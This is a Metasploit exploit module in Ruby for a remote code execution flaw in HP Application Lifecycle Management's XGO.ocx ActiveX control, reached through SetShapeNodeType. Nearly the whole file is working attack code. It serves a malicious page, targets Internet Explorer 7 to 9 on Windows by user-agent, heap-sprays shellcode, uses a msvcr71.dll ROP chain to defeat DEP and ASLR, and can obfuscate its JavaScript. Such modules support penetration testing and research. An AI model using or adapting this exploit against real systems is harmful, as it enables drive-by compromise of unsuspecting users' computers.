##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "7.0",
    :ua_maxver  => "9.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :classid    => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
    :method     => "SetShapeNodeType",
    :rank       => NormalRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Application Lifecycle Management XGO.ocx ActiveX SetShapeNodeType() Remote Code Execution",
      'Description'    => %q{
          This module exploits a vulnerability within the XGO.ocx ActiveX Control
        installed with the HP Application Lifecycle Manager Client. The vulnerability
        exists in the SetShapeNodeType method, which allows the user to specify memory
        that will be used as an object, through the node parameter. It allows to control
        the dereference and use of a function pointer. This module has been successfully
        tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
        bypass DEP and ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez'  # Metasploit
        ],
      'References'     =>
        [
          [ 'OSVDB', '85152' ],
          [ 'BID', '55272' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-170/' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'Space'           => 890,
          'DisableNops'     => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'ExitFunction'         => "none",
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # XGO.xco 11.50.777.0
          [ 'Automatic', {} ],
          [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
          [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
          [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fe' } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 29 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[1]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[2]  #IE 8 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[3]  #IE 7 on Windows Vista
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
      return targets[4]  #IE 8 on Windows Vista
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
      return targets[5]  #IE 8 on Windows 7
    elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
      return targets[6]  #IE 9 on Windows 7
    else
      return nil
    end
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[6]
      # IE 9 on Windows 7
      js = %Q|
      function randomblock(blocksize)
      {
        var theblock = "";
        for (var i = 0; i < blocksize; i++)
        {
          theblock += Math.floor(Math.random()*90)+10;
        }
        return theblock;
      }

      function tounescape(block)
      {
        var blocklen = block.length;
        var unescapestr = "";
        for (var i = 0; i < blocklen-1; i=i+4)
        {
          unescapestr += "%u" + block.substring(i,i+4);
        }
        return unescapestr;
      }

      var heap_obj = new heapLib.ie(0x10000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_random_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset_length = #{my_target['Offset']};
      for (var i=0; i < 0x1000; i++) {
        var padding = unescape(tounescape(randomblock(0x1000)));
        while (padding.length < 0x1000) padding+= padding;
        var junk_offset = padding.substring(0, offset_length);
        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
        heap_obj.alloc(sprayblock);
      }
      |

    else
      # For IE 6, 7, 8
      js = %Q|
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
      |

    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def get_payload(t, cli)
    # No rop
    if t['Rop'].nil?
      code = [0x0c0c0c10].pack("V")
      code << [0x0c0c0c14].pack("V")
      code << payload.encoded
      return code
    end

    code = payload.encoded

    # ROP chain generated by mona.py - See corelan.be
    exec_size = 0xffffffff - code.length + 1
    junk      = rand_text_alpha(4).unpack("V")[0].to_i

    stackpivot =
    [
      0x0c0c0c10,
      0x7c342643, # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn from msvcr71.dll
      junk
    ].pack("V*")

    rop =
    [
      0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
      exec_size,   # Value to negate, will become 0x00000201 (dwSize)
      0x7c347f98,  # RETN (ROP NOP)
      0x7c3415a2,  # JMP [EAX]
      0xffffffff,
      0x7c376402,  # skip 4 bytes
      0x7c351e05,  # NEG EAX # RETN
      0x7c345255,  # INC EBX # FPATAN # RETN
      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
      0x7c344f87,  # POP EDX # RETN
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x7c351eb1,  # NEG EDX # RETN
      0x7c34d201,  # POP ECX # RETN
      0x7c38b001,  # &Writable location
      0x7c347f97,  # POP EAX # RETN
      0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
      0x7c345c30,  # ptr to 'push esp #  ret '
    ].pack("V*")

    code = stackpivot + rop + code
    return code
  end

  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)
    id_object = rand_text_alpha(5 + rand(5))

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:C3B92104-B5A7-11D0-A37F-00A0248F0AF1' id='#{id_object}'></object>
    <script language='javascript'>
      #{id_object}.SetShapeNodeType(0x0c0c0c0c, 1 , "");
    </script>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^\t\t/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end